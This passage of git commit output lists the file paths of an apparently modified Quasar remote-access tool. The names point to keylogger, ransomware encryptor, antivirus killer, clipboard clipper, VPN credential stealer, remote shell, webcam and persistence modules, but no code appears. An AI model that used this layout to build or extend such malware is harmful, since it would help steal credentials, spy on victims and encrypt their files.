Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Vpn/CyberGhost.cs create mode 100755 Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Vpn/ExpressVPN.cs create mode 100755 Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Vpn/Hamachi.cs create mode 100755 Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Vpn/HideMyName.cs create mode 100755 Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Vpn/IpVanish.cs create mode 100755 Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Vpn/MullVad.cs create mode 100755 Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Vpn/NordVpn.cs create mode 100755 Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Vpn/OpenVpn.cs create mode 100755 Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Vpn/PIAVPN.cs create mode 100755 Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Vpn/ProtonVpn.cs create mode 100755 Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Vpn/Proxifier.cs create mode 100755 Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Vpn/RadminVPN.cs create mode 100755 Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Vpn/SoftEther.cs create mode 100755 Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Vpn/SurfShark.cs create mode 100755 Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Vpn/WireGuard.cs create mode 100755 Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets/ITarget.cs create mode 100755 Quasar-1.4.1/Quasar.Client/IpGeoLocation/GeoInformation.cs create mode 100755 Quasar-1.4.1/Quasar.Client/IpGeoLocation/GeoInformationFactory.cs create mode 100755 Quasar-1.4.1/Quasar.Client/IpGeoLocation/GeoInformationRetriever.cs create mode 100755 Quasar-1.4.1/Quasar.Client/IpGeoLocation/GeoResponse.cs create mode 100755 Quasar-1.4.1/Quasar.Client/Logging/Keylogger.cs create mode 100755 Quasar-1.4.1/Quasar.Client/Logging/KeyloggerService.cs create mode 100755 Quasar-1.4.1/Quasar.Client/Messages/AVKillerHandler.cs create mode 100755 Quasar-1.4.1/Quasar.Client/Messages/ActiveWindowHandler.cs create mode 100755 Quasar-1.4.1/Quasar.Client/Messages/AutoTaskHandler.cs create mode 100755 Quasar-1.4.1/Quasar.Client/Messages/BotKillerHandler.cs create mode 100755 Quasar-1.4.1/Quasar.Client/Messages/ClientServicesHandler.cs create mode 100755 Quasar-1.4.1/Quasar.Client/Messages/ClipperHandler.cs create mode 100755 Quasar-1.4.1/Quasar.Client/Messages/FileManagerHandler.cs create mode 100755 Quasar-1.4.1/Quasar.Client/Messages/IntelixStealerHandler.cs create mode 100755 Quasar-1.4.1/Quasar.Client/Messages/KeyloggerHandler.cs create mode 100755 Quasar-1.4.1/Quasar.Client/Messages/LiveKeyloggerHandler.cs create mode 100755 Quasar-1.4.1/Quasar.Client/Messages/MessageBoxHandler.cs create mode 100755 Quasar-1.4.1/Quasar.Client/Messages/NotificationMessageProcessor.cs create mode 100755 Quasar-1.4.1/Quasar.Client/Messages/RansomwareHandler.cs create mode 100755 Quasar-1.4.1/Quasar.Client/Messages/RansomwareHandler.cs.broken create mode 100755 Quasar-1.4.1/Quasar.Client/Messages/RegistryHandler.cs create mode 100755 Quasar-1.4.1/Quasar.Client/Messages/RemoteDesktopHandler.cs create mode 100755 Quasar-1.4.1/Quasar.Client/Messages/RemoteShellHandler.cs create mode 100755 Quasar-1.4.1/Quasar.Client/Messages/ReverseProxyHandler.cs create mode 100755 Quasar-1.4.1/Quasar.Client/Messages/ShutdownHandler.cs create mode 100755 Quasar-1.4.1/Quasar.Client/Messages/StartupManagerHandler.cs create mode 100755 Quasar-1.4.1/Quasar.Client/Messages/SurvivalHandler.cs create mode 100755 Quasar-1.4.1/Quasar.Client/Messages/SystemInformationHandler.cs create mode 100755 Quasar-1.4.1/Quasar.Client/Messages/SystemOptionHandler.cs create mode 100755 Quasar-1.4.1/Quasar.Client/Messages/TaskManagerHandler.cs create mode 100755 Quasar-1.4.1/Quasar.Client/Messages/TcpConnectionsHandler.cs create mode 100755 Quasar-1.4.1/Quasar.Client/Messages/WebcamHandler.cs create mode 100755 Quasar-1.4.1/Quasar.Client/Messages/WebsiteVisitorHandler.cs create mode 100755 Quasar-1.4.1/Quasar.Client/Networking/Client.cs create mode 100755 Quasar-1.4.1/Quasar.Client/Networking/QuasarClient.cs create mode 100755 Quasar-1.4.1/Quasar.Client/Networking/UdpFrameSender.cs create mode 100755 Quasar-1.4.1/Quasar.Client/Program.cs create mode 100755 Quasar-1.4.1/Quasar.Client/Properties/AssemblyInfo.cs create mode 100755 Quasar-1.4.1/Quasar.Client/Properties/Resources.Designer.cs create mode 100755 Quasar-1.4.1/Quasar.Client/Properties/Resources.resx create mode 100755 Quasar-1.4.1/Quasar.Client/Properties/Settings.Designer.cs create mode 100755 Quasar-1.4.1/Quasar.Client/Properties/Settings.settings create mode 100755 Quasar-1.4.1/Quasar.Client/Quasar.Client.csproj create mode 100755 Quasar-1.4.1/Quasar.Client/QuasarApplication.cs create mode 100755 Quasar-1.4.1/Quasar.Client/Ransomware/FileEncryptor.cs create mode 100755 Quasar-1.4.1/Quasar.Client/Registry/RegistryEditor.cs create mode 100755 Quasar-1.4.1/Quasar.Client/Registry/RegistrySeeker.cs create mode 100755 Quasar-1.4.1/Quasar.Client/ReverseProxy/ReverseProxyClient.cs create mode 100755 Quasar-1.4.1/Quasar.Client/Setup/ClientInstaller.cs create mode 100755 Quasar-1.4.1/Quasar.Client/Setup/ClientSetupBase.cs create mode 100755 Quasar-1.4.1/Quasar.Client/Setup/ClientStartup.cs create mode 100755 Quasar-1.4.1/Quasar.Client/Setup/ClientUninstaller.cs create mode 100755 Quasar-1.4.1/Quasar.Client/Setup/ClientUpdater.cs create mode 100755 Quasar-1.4.1/Quasar.Client/Survival/RSFuncs.cs create mode 100755 Quasar-1.4.1/Quasar.Client/User/ActivityDetection.cs create mode 100755 Quasar-1.4.1/Quasar.Client/User/UserAccount.cs create mode 100755 Quasar-1.4.1/Quasar.Client/Utilities/NativeMethods.cs create mode 100755 Quasar-1.4.1/Quasar.Client/Utilities/SingleInstanceMutex.cs create mode 100755 Quasar-1.4.1/Quasar.Client/app.manifest create mode 100755 Quasar-1.4.1/Quasar.Common.Tests/Compression/JpgCompression.Tests.cs create mode 100755 Quasar-1.4.1/Quasar.Common.Tests/Cryptography/Aes256.Tests.cs create mode 100755 Quasar-1.4.1/Quasar.Common.Tests/Cryptography/SHA256.Tests.cs create mode 100755 Quasar-1.4.1/Quasar.Common.Tests/Helpers/FileHelper.Tests.cs create mode 100755 Quasar-1.4.1/Quasar.Common.Tests/Properties/AssemblyInfo.cs create mode 100755 Quasar-1.4.1/Quasar.Common.Tests/Quasar.Common.Tests.csproj create mode 100755 Quasar-1.4.1/Quasar.Common/Cryptography/Aes256.cs create mode 100755 Quasar-1.4.1/Quasar.Common/Cryptography/SafeComparison.cs create mode 100755 Quasar-1.4.1/Quasar.Common/Cryptography/Sha256.cs create mode 100755 Quasar-1.4.1/Quasar.Common/DNS/Host.cs create mode 100755 Quasar-1.4.1/Quasar.Common/DNS/HostsConverter.cs create mode 100755 Quasar-1.4.1/Quasar.Common/DNS/HostsManager.cs create mode 100755 Quasar-1.4.1/Quasar.Common/Enums/AccountType.cs create mode 100755 Quasar-1.4.1/Quasar.Common/Enums/ConnectionState.cs create mode 100755 Quasar-1.4.1/Quasar.Common/Enums/ContentType.cs create mode 100755 Quasar-1.4.1/Quasar.Common/Enums/FileType.cs create mode 100755 Quasar-1.4.1/Quasar.Common/Enums/MouseAction.cs create mode 100755 Quasar-1.4.1/Quasar.Common/Enums/ProcessAction.cs create mode 100755 Quasar-1.4.1/Quasar.Common/Enums/ShutdownAction.cs create mode 100755 Quasar-1.4.1/Quasar.Common/Enums/StartupType.cs create mode 100755 Quasar-1.4.1/Quasar.Common/Enums/UserStatus.cs create mode 100755 Quasar-1.4.1/Quasar.Common/Extensions/DriveTypeExtensions.cs create mode 100755 Quasar-1.4.1/Quasar.Common/Extensions/SocketExtensions.cs create mode 100755 Quasar-1.4.1/Quasar.Common/Extensions/StringExtensions.cs create mode 100755 Quasar-1.4.1/Quasar.Common/Helpers/FileHelper.cs create mode 100755 Quasar-1.4.1/Quasar.Common/Helpers/PlatformHelper.cs create mode 100755 Quasar-1.4.1/Quasar.Common/Helpers/StringHelper.cs create mode 100755 Quasar-1.4.1/Quasar.Common/IO/FileSplit.cs create mode 100755 Quasar-1.4.1/Quasar.Common/Messages/AVKillerResponse.cs create mode 100755 Quasar-1.4.1/Quasar.Common/Messages/BotKillerResult.cs create mode 100755 Quasar-1.4.1/Quasar.Common/Messages/ClientIdentification.cs create mode 100755 Quasar-1.4.1/Quasar.Common/Messages/ClientIdentificationResult.cs create mode 100755 Quasar-1.4.1/Quasar.Common/Messages/DoAVKillerCommand.cs create mode 100755 Quasar-1.4.1/Quasar.Common/Messages/DoAskElevate.cs create mode 100755 Quasar-1.4.1/Quasar.Common/Messages/DoAutoTask.cs create mode 100755 Quasar-1.4.1/Quasar.Common/Messages/DoBotKiller.cs create mode 100755 Quasar-1.4.1/Quasar.Common/Messages/DoChangeRegistryValue.cs create mode 100755 Quasar-1.4.1/Quasar.Common/Messages/DoClientDisconnect.cs create mode 100755 Quasar-1.4.1/Quasar.Common/Messages/DoClientReconnect.cs create mode 100755 Quasar-1.4.1/Quasar.Common/Messages/DoClientUninstall.cs create mode 100755 Quasar-1.4.1/Quasar.Common/Messages/DoCloseConnection.cs create mode 100755 Quasar-1.4.1/Quasar.Common/Messages/DoCreateRegistryKey.cs create mode 100755 Quasar-1.4.1/Quasar.Common/Messages/DoCreateRegistryValue.cs create mode 100755 Quasar-1.4.1/Quasar.Common/Messages/DoDeleteRegistryKey.cs create mode 100755 Quasar-1.4.1/Quasar.Common/Messages/DoDeleteRegistryValue.cs create mode 100755 Quasar-1.4.1/Quasar.Common/Messages/DoKeyboardEvent.cs create mode 100755 Quasar-1.4.1/Quasar.Common/Messages/DoLoadRegistryKey.cs create mode 100755 Quasar-1.4.1/Quasar.Common/Messages/DoMouseEvent.cs create mode 100755 Quasar-1.4.1/Quasar.Common/Messages/DoPathCopy.cs create mode 100755 Quasar-1.4.1/Quasar.Common/Messages/DoPathDelete.cs create mode 100755 Quasar-1.4.1/Quasar.Common/Messages/DoPathRename.cs create mode 100755 Quasar-1.4.1/Quasar.Common/Messages/DoProcessEnd.cs create mode 100755 Quasar-1.4.1/Quasar.Common/Messages/DoProcessResponse.cs create mode 100755 Quasar-1.4.1/Quasar.Common/Messages/DoProcessStart.cs create mode 100755 Quasar-1.4.1/Quasar.Common/Messages/DoRansomware.cs create mode 100755 Quasar-1.4.1/Quasar.Common/Messages/DoRenameRegistryKey.cs create mode 100755 Quasar-1.4.1/Quasar.Common/Messages/DoRenameRegistryValue.cs create mode 100755 Quasar-1.4.1/Quasar.Common/Messages/DoShellExecute.cs create mode 100755 Quasar-1.4.1/Quasar.Common/Messages/DoShellExecuteResponse.cs create mode 100755 Quasar-1.4.1/Quasar.Common/Messages/DoShowMessageBox.cs create mode 100755 Quasar-1.4.1/Quasar.Common/Messages/DoShutdownAction.cs create mode 100755 Quasar-1.4.1/Quasar.Common/Messages/DoStartClipper.cs create mode 100755 Quasar-1.4.1/Quasar.Common/Messages/DoStartLiveKeylogger.cs create mode 100755 Quasar-1.4.1/Quasar.Common/Messages/DoStartupItemAdd.cs create mode 100755 Quasar-1.4.1/Quasar.Common/Messages/DoStartupItemRemove.cs create mode 100755 Quasar-1.4.1/Quasar.Common/Messages/DoStopClipper.cs create mode 100755 Quasar-1.4.1/Quasar.Common/Messages/DoStopLiveKeylogger.cs create mode 100755 Quasar-1.4.1/Quasar.Common/Messages/DoSurvivalInstall.cs create mode 100755 Quasar-1.4.1/Quasar.Common/Messages/DoSurvivalUninstall.cs create mode 100755 Quasar-1.4.1/Quasar.Common/Messages/DoSystemOption.cs create mode 100755 Quasar-1.4.1/Quasar.Common/Messages/DoVisitWebsite.cs create mode 100755 Quasar-1.4.1/Quasar.Common/Messages/DoWebcamStart.cs create mode 100755 Quasar-1.4.1/Quasar.Common/Messages/DoWebcamStop.cs create mode 100755 Quasar-1.4.1/Quasar.Common/Messages/FileTransferCancel.cs create mode 100755 Quasar-1.4.1/Quasar.Common/Messages/FileTransferChunk.cs create mode 100755 Quasar-1.4.1/Quasar.Common/Messages/FileTransferComplete.cs create mode 100755 Quasar-1.4.1/Quasar.Common/Messages/FileTransferRequest.cs create mode 100755 Quasar-1.4.1/Quasar.Common/Messages/GetActiveWindow.cs create mode 100755 Quasar-1.4.1/Quasar.Common/Messages/GetActiveWindowResponse.cs create mode 100755 Quasar-1.4.1/Quasar.Common/Messages/GetChangeRegistryValueResponse.cs create mode 100755 Quasar-1.4.1/Quasar.Common/Messages/GetConnections.cs create mode 100755 Quasar-1.4.1/Quasar.Common/Messages/GetConnectionsResponse.cs create mode 100755 Quasar-1.4.1/Quasar.Common/Messages/GetCreateRegistryKeyResponse.cs create mode 100755 Quasar-1.4.1/Quasar.Common/Messages/GetCreateRegistryValueResponse.cs create mode 100755 Quasar-1.4.1/Quasar.Common/Messages/GetDeleteRegistryKeyResponse.cs create mode 100755 Quasar-1.4.1/Quasar.Common/Messages/GetDeleteRegistryValueResponse.cs create mode 100755 Quasar-1.4.1/Quasar.Common/Messages/GetDesktop.cs create mode 100755 Quasar-1.4.1/Quasar.Common/Messages/GetDesktopResponse.cs create mode 100755 Quasar-1.4.1/Quasar.Common/Messages/GetDesktopUdpReady.cs create mode 100755 Quasar-1.4.1/Quasar.Common/Messages/GetDirectory.cs create mode 100755 Quasar-1.4.1/Quasar.Common/Messages/GetDirectoryResponse.cs create mode 100755 Quasar-1.4.1/Quasar.Common/Messages/GetDrives.cs create mode 100755 Quasar-1.4.1/Quasar.Common/Messages/GetDrivesResponse.cs create mode 100755 Quasar-1.4.1/Quasar.Common/Messages/GetIntelixStealerLogs.cs create mode 100755 Quasar-1.4.1/Quasar.Common/Messages/GetIntelixStealerLogsResponse.cs create mode 100755 Quasar-1.4.1/Quasar.Common/Messages/GetKeyloggerLogsDirectory.cs create mode 100755 Quasar-1.4.1/Quasar.Common/Messages/GetKeyloggerLogsDirectoryResponse.cs create mode 100755 Quasar-1.4.1/Quasar.Common/Messages/GetMonitors.cs create mode 100755 Quasar-1.4.1/Quasar.Common/Messages/GetMonitorsResponse.cs create mode 100755 Quasar-1.4.1/Quasar.Common/Messages/GetProcesses.cs create mode 100755 Quasar-1.4.1/Quasar.Common/Messages/GetProcessesResponse.cs create mode 100755 Quasar-1.4.1/Quasar.Common/Messages/GetRegistryKeysResponse.cs create mode 100755 Quasar-1.4.1/Quasar.Common/Messages/GetRenameRegistryKeyResponse.cs create mode 100755 Quasar-1.4.1/Quasar.Common/Messages/GetRenameRegistryValueResponse.cs create mode 100755 Quasar-1.4.1/Quasar.Common/Messages/GetStartupItems.cs create mode 100755 Quasar-1.4.1/Quasar.Common/Messages/GetStartupItemsResponse.cs create mode 100755 Quasar-1.4.1/Quasar.Common/Messages/GetSystemInfo.cs create mode 100755 Quasar-1.4.1/Quasar.Common/Messages/GetSystemInfoResponse.cs create mode 100755 Quasar-1.4.1/Quasar.Common/Messages/GetWebcamResponse.cs create mode 100755 Quasar-1.4.1/Quasar.Common/Messages/GetWebcams.cs create mode 100755 Quasar-1.4.1/Quasar.Common/Messages/GetWebcamsResponse.cs create mode 100755 Quasar-1.4.1/Quasar.Common/Messages/IMessage.cs create mode 100755 Quasar-1.4.1/Quasar.Common/Messages/IMessageProcessor.cs create mode 100755 Quasar-1.4.1/Quasar.Common/Messages/LiveKeystrokeData.cs create mode 100755 Quasar-1.4.1/Quasar.Common/Messages/MessageHandler.cs create mode 100755 Quasar-1.4.1/Quasar.Common/Messages/MessageProcessorBase.cs create mode 100755 Quasar-1.4.1/Quasar.Common/Messages/NewSurvivalLog.cs create mode 100755 Quasar-1.4.1/Quasar.Common/Messages/RansomwareResponse.cs create mode 100755 Quasar-1.4.1/Quasar.Common/Messages/ReverseProxy/ReverseProxyConnect.cs create mode 100755 Quasar-1.4.1/Quasar.Common/Messages/ReverseProxy/ReverseProxyConnectResponse.cs create mode 100755 Quasar-1.4.1/Quasar.Common/Messages/ReverseProxy/ReverseProxyData.cs create mode 100755 Quasar-1.4.1/Quasar.Common/Messages/ReverseProxy/ReverseProxyDisconnect.cs create mode 100755 Quasar-1.4.1/Quasar.Common/Messages/SetStatus.cs create mode 100755 Quasar-1.4.1/Quasar.Common/Messages/SetStatusFileManager.cs create mode 100755 Quasar-1.4.1/Quasar.Common/Messages/SetUserStatus.cs create mode 100755 Quasar-1.4.1/Quasar.Common/Messages/SystemOptionResponse.cs create mode 100755 Quasar-1.4.1/Quasar.Common/Messages/TypeRegistry.cs create mode 100755 Quasar-1.4.1/Quasar.Common/Models/Drive.cs create mode 100755 Quasar-1.4.1/Quasar.Common/Models/FileChunk.cs create mode 100755 Quasar-1.4.1/Quasar.Common/Models/FileSystemEntry.cs create mode 100755 Quasar-1.4.1/Quasar.Common/Models/Process.cs create mode 100755 Quasar-1.4.1/Quasar.Common/Models/RegSeekerMatch.cs create mode 100755 Quasar-1.4.1/Quasar.Common/Models/RegValueData.cs create mode 100755 Quasar-1.4.1/Quasar.Common/Models/StartupItem.cs create mode 100755 Quasar-1.4.1/Quasar.Common/Models/TcpConnection.cs create mode 100755 Quasar-1.4.1/Quasar.Common/NativeMethods.cs create mode 100755 Quasar-1.4.1/Quasar.Common/Networking/ISender.cs create mode 100755 Quasar-1.4.1/Quasar.Common/Networking/PayloadReader.cs create mode 100755 Quasar-1.4.1/Quasar.Common/Networking/PayloadWriter.cs create mode 100755 Quasar-1.4.1/Quasar.Common/Properties/AssemblyInfo.cs create mode 100755 Quasar-1.4.1/Quasar.Common/Quasar.Common.csproj create mode 100755 Quasar-1.4.1/Quasar.Common/Utilities/ByteConverter.cs create mode 100755 Quasar-1.4.1/Quasar.Common/Utilities/SafeRandom.cs create mode 100755 Quasar-1.4.1/Quasar.Common/Video/Codecs/UnsafeStreamCodec.cs create mode 100755 Quasar-1.4.1/Quasar.Common/Video/Compression/JpgCompression.cs create mode 100755 Quasar-1.4.1/Quasar.Common/Video/Resolution.cs create mode 100755 Quasar-1.4.1/Quasar.Common/Video/UdpFrameProtocol.cs create mode 100755 Quasar-1.4.1/Quasar.Keygen/FrmKeygen.Designer.cs create mode 100755 Quasar-1.4.1/Quasar.Keygen/FrmKeygen.cs create mode 100755 Quasar-1.4.1/Quasar.Keygen/LicenseGenerator.cs create mode 100755 Quasar-1.4.1/Quasar.Keygen/Program.cs create mode 100755 Quasar-1.4.1/Quasar.Keygen/Quasar.Keygen.csproj create mode 100755 Quasar-1.4.1/Quasar.Server/Build/ClientBuilder.cs create mode 100755 Quasar-1.4.1/Quasar.Server/Build/Renamer.cs create mode 100755 Quasar-1.4.1/Quasar.Server/Controls/DotNetBarTabControl.cs create mode 100755 Quasar-1.4.1/Quasar.Server/Controls/HexEditor/ByteCollection.cs create mode 100755 Quasar-1.4.1/Quasar.Server/Controls/HexEditor/Caret.cs create mode 100755 Quasar-1.4.1/Quasar.Server/Controls/HexEditor/EditView.cs create mode 100755 Quasar-1.4.1/Quasar.Server/Controls/HexEditor/HexEditor.cs create mode 100755 Quasar-1.4.1/Quasar.Server/Controls/HexEditor/HexViewHandler.cs create mode 100755 Quasar-1.4.1/Quasar.Server/Controls/HexEditor/IKeyMouseEventHandler.cs create mode 100755 Quasar-1.4.1/Quasar.Server/Controls/HexEditor/StringViewHandler.cs create mode 100755 Quasar-1.4.1/Quasar.Server/Controls/InputBox.cs create mode 100755 Quasar-1.4.1/Quasar.Server/Controls/Line.cs create mode 100755 Quasar-1.4.1/Quasar.Server/Controls/ListViewEx.cs create mode 100755 Quasar-1.4.1/Quasar.Server/Controls/ModernSidebar.cs create mode 100755 Quasar-1.4.1/Quasar.Server/Controls/RapidPictureBox.cs create mode 100755 Quasar-1.4.1/Quasar.Server/Controls/RegistryTreeView.cs create mode 100755 Quasar-1.4.1/Quasar.Server/Controls/RegistryValueLstItem.cs create mode 100755 Quasar-1.4.1/Quasar.Server/Controls/StatisticsPanel.Designer.cs create mode 100755 Quasar-1.4.1/Quasar.Server/Controls/StatisticsPanel.cs create mode 100755 Quasar-1.4.1/Quasar.Server/Controls/StatisticsPanel.resx create mode 100755 Quasar-1.4.1/Quasar.Server/Controls/WordTextBox.Designer.cs create mode 100755 Quasar-1.4.1/Quasar.Server/Controls/WordTextBox.cs create mode 100755 Quasar-1.4.1/Quasar.Server/DebugLogger.cs create mode 100755 Quasar-1.4.1/Quasar.Server/Enums/TransferType.cs create mode 100755 Quasar-1.4.1/Quasar.Server/Enums/WordType.cs create mode 100755 Quasar-1.4.1/Quasar.Server/Extensions/ListViewExtensions.cs create mode 100755 Quasar-1.4.1/Quasar.Server/Extensions/RegistryKeyExtensions.cs create mode 100755 Quasar-1.4.1/Quasar.Server/Forms/BaseForm.cs create mode 100755 Quasar-1.4.1/Quasar.Server/Forms/DarkMode/DarkMode.cs create mode 100755 Quasar-1.4.1/Quasar.Server/Forms/DarkMode/DarkModeManager.cs create mode 100755 Quasar-1.4.1/Quasar.Server/Forms/FrmAVKiller.Designer.cs create mode 100755 Quasar-1.4.1/Quasar.Server/Forms/FrmAVKiller.cs create mode 100755 Quasar-1.4.1/Quasar.Server/Forms/FrmAVKiller.resx create mode 100755 Quasar-1.4.1/Quasar.Server/Forms/FrmAbout.Designer.cs create mode 100755 Quasar-1.4.1/Quasar.Server/Forms/FrmAbout.cs create mode 100755 Quasar-1.4.1/Quasar.Server/Forms/FrmAbout.resx create mode 100755 Quasar-1.4.1/Quasar.Server/Forms/FrmAutoTasks.cs create mode 100755 Quasar-1.4.1/Quasar.Server/Forms/FrmAutoTasks.resx create mode 100755 Quasar-1.4.1/Quasar.Server/Forms/FrmBotKiller.Designer.cs create mode 100755 Quasar-1.4.1/Quasar.Server/Forms/FrmBotKiller.cs create mode 100755 Quasar-1.4.1/Quasar.Server/Forms/FrmBuilder.Designer.cs create mode 100755 Quasar-1.4.1/Quasar.Server/Forms/FrmBuilder.cs create mode 100755 Quasar-1.4.1/Quasar.Server/Forms/FrmBuilder.resx create mode 100755 Quasar-1.4.1/Quasar.Server/Forms/FrmCertificate.Designer.cs create mode 100755 Quasar-1.4.1/Quasar.Server/Forms/FrmCertificate.cs create mode 100755 Quasar-1.4.1/Quasar.Server/Forms/FrmCertificate.resx create mode 100755 Quasar-1.4.1/Quasar.Server/Forms/FrmClipper.Designer.cs create mode 100755 Quasar-1.4.1/Quasar.Server/Forms/FrmClipper.cs create mode 100755 Quasar-1.4.1/Quasar.Server/Forms/FrmConnections.Designer.cs create mode 100755 Quasar-1.4.1/Quasar.Server/Forms/FrmConnections.cs create mode 100755 Quasar-1.4.1/Quasar.Server/Forms/FrmConnections.resx create mode 100755 Quasar-1.4.1/Quasar.Server/Forms/FrmFileManager.Designer.cs create mode 100755 Quasar-1.4.1/Quasar.Server/Forms/FrmFileManager.cs create mode 100755 Quasar-1.4.1/Quasar.Server/Forms/FrmFileManager.resx create mode 100755 Quasar-1.4.1/Quasar.Server/Forms/FrmIntelixResults.Designer.cs create mode 100755 Quasar-1.4.1/Quasar.Server/Forms/FrmIntelixResults.cs create mode 100755 Quasar-1.4.1/Quasar.Server/Forms/FrmKeylogger.Designer.cs create mode 100755 Quasar-1.4.1/Quasar.Server/Forms/FrmKeylogger.cs create mode 100755 Quasar-1.4.1/Quasar.Server/Forms/FrmKeylogger.resx create mode 100755 Quasar-1.4.1/Quasar.Server/Forms/FrmLicense.Designer.cs create mode 100755 Quasar-1.4.1/Quasar.Server/Forms/FrmLicense.cs create mode 100755 Quasar-1.4.1/Quasar.Server/Forms/FrmLiveKeylogger.Designer.cs create mode 100755 Quasar-1.4.1/Quasar.Server/Forms/FrmLiveKeylogger.cs create mode 100755 Quasar-1.4.1/Quasar.Server/Forms/FrmLiveKeylogger.resx create mode 100755 Quasar-1.4.1/Quasar.Server/Forms/FrmMain.Designer.cs create mode 100755 Quasar-1.4.1/Quasar.Server/Forms/FrmMain.cs create mode 100755 Quasar-1.4.1/Quasar.Server/Forms/FrmMain.resx create mode 100755 Quasar-1.4.1/Quasar.Server/Forms/FrmRansomware.Designer.cs create mode 100755 Quasar-1.4.1/Quasar.Server/Forms/FrmRansomware.cs create mode 100755 Quasar-1.4.1/Quasar.Server/Forms/FrmRansomware.resx create mode 100755 Quasar-1.4.1/Quasar.Server/Forms/FrmRegValueEditBinary.Designer.cs create mode 100755 Quasar-1.4.1/Quasar.Server/Forms/FrmRegValueEditBinary.cs create mode 100755 Quasar-1.4.1/Quasar.Server/Forms/FrmRegValueEditBinary.resx create mode 100755 Quasar-1.4.1/Quasar.Server/Forms/FrmRegValueEditMultiString.Designer.cs create mode 100755 Quasar-1.4.1/Quasar.Server/Forms/FrmRegValueEditMultiString.cs create mode 100755 Quasar-1.4.1/Quasar.Server/Forms/FrmRegValueEditMultiString.resx create mode 100755 Quasar-1.4.1/Quasar.Server/Forms/FrmRegValueEditString.Designer.cs create mode 100755 Quasar-1.4.1/Quasar.Server/Forms/FrmRegValueEditString.cs create mode 100755 Quasar-1.4.1/Quasar.Server/Forms/FrmRegValueEditString.resx create mode 100755 Quasar-1.4.1/Quasar.Server/Forms/FrmRegValueEditWord.Designer.cs create mode 100755 Quasar-1.4.1/Quasar.Server/Forms/FrmRegValueEditWord.cs create mode 100755 Quasar-1.4.1/Quasar.Server/Forms/FrmRegValueEditWord.resx create mode 100755 Quasar-1.4.1/Quasar.Server/Forms/FrmRegistryEditor.Designer.cs create mode 100755 Quasar-1.4.1/Quasar.Server/Forms/FrmRegistryEditor.cs create mode 100755 Quasar-1.4.1/Quasar.Server/Forms/FrmRegistryEditor.resx create mode 100755 Quasar-1.4.1/Quasar.Server/Forms/FrmRemoteDesktop.Designer.cs create mode 100755 Quasar-1.4.1/Quasar.Server/Forms/FrmRemoteDesktop.cs create mode 100755 Quasar-1.4.1/Quasar.Server/Forms/FrmRemoteDesktop.resx create mode 100755 Quasar-1.4.1/Quasar.Server/Forms/FrmRemoteExecution.Designer.cs create mode 100755 Quasar-1.4.1/Quasar.Server/Forms/FrmRemoteExecution.cs create mode 100755 Quasar-1.4.1/Quasar.Server/Forms/FrmRemoteExecution.resx create mode 100755 Quasar-1.4.1/Quasar.Server/Forms/FrmRemoteShell.Designer.cs create mode 100755 Quasar-1.4.1/Quasar.Server/Forms/FrmRemoteShell.cs create mode 100755 Quasar-1.4.1/Quasar.Server/Forms/FrmRemoteShell.resx create mode 100755 Quasar-1.4.1/Quasar.Server/Forms/FrmRemoteWebcam.Designer.cs create mode 100755 Quasar-1.4.1/Quasar.Server/Forms/FrmRemoteWebcam.cs create mode 100755 Quasar-1.4.1/Quasar.Server/Forms/FrmRemoteWebcam.resx create mode 100755 Quasar-1.4.1/Quasar.Server/Forms/FrmRemoteWebcam_temp.resx create mode 100755 Quasar-1.4.1/Quasar.Server/Forms/FrmReverseProxy.Designer.cs create mode 100755 Quasar-1.4.1/Quasar.Server/Forms/FrmReverseProxy.cs create mode 100755 Quasar-1.4.1/Quasar.Server/Forms/FrmReverseProxy.resx create mode 100755 Quasar-1.4.1/Quasar.Server/Forms/FrmSettings.Designer.cs create mode 100755 Quasar-1.4.1/Quasar.Server/Forms/FrmSettings.cs create mode 100755 Quasar-1.4.1/Quasar.Server/Forms/FrmSettings.resx create mode 100755 Quasar-1.4.1/Quasar.Server/Forms/FrmShowMessagebox.Designer.cs create mode 100755 Quasar-1.4.1/Quasar.Server/Forms/FrmShowMessagebox.cs create mode 100755 Quasar-1.4.1/Quasar.Server/Forms/FrmShowMessagebox.resx create mode 100755 Quasar-1.4.1/Quasar.Server/Forms/FrmStartupAdd.Designer.cs create mode 100755 Quasar-1.4.1/Quasar.Server/Forms/FrmStartupAdd.cs create mode 100755 Quasar-1.4.1/Quasar.Server/Forms/FrmStartupAdd.resx create mode 100755 Quasar-1.4.1/Quasar.Server/Forms/FrmStartupManager.Designer.cs create mode 100755 Quasar-1.4.1/Quasar.Server/Forms/FrmStartupManager.cs create mode 100755 Quasar-1.4.1/Quasar.Server/Forms/FrmStartupManager.resx create mode 100755 Quasar-1.4.1/Quasar.Server/Forms/FrmSurvival.Designer.cs create mode 100755 Quasar-1.4.1/Quasar.Server/Forms/FrmSurvival.cs create mode 100755 Quasar-1.4.1/Quasar.Server/Forms/FrmSystemInformation.Designer.cs create mode 100755 Quasar-1.4.1/Quasar.Server/Forms/FrmSystemInformation.cs create mode 100755 Quasar-1.4.1/Quasar.Server/Forms/FrmSystemInformation.resx create mode 100755 Quasar-1.4.1/Quasar.Server/Forms/FrmSystemOptions.Designer.cs create mode 100755 Quasar-1.4.1/Quasar.Server/Forms/FrmSystemOptions.cs create mode 100755 Quasar-1.4.1/Quasar.Server/Forms/FrmSystemOptions.resx create mode 100755 Quasar-1.4.1/Quasar.Server/Forms/FrmTaskManager.Designer.cs create mode 100755 Quasar-1.4.1/Quasar.Server/Forms/FrmTaskManager.cs create mode 100755 Quasar-1.4.1/Quasar.Server/Forms/FrmTaskManager.resx create mode 100755 Quasar-1.4.1/Quasar.Server/Forms/FrmVisitWebsite.Designer.cs create mode 100755 Quasar-1.4.1/Quasar.Server/Forms/FrmVisitWebsite.cs create mode 100755 Quasar-1.4.1/Quasar.Server/Forms/FrmVisitWebsite.resx create mode 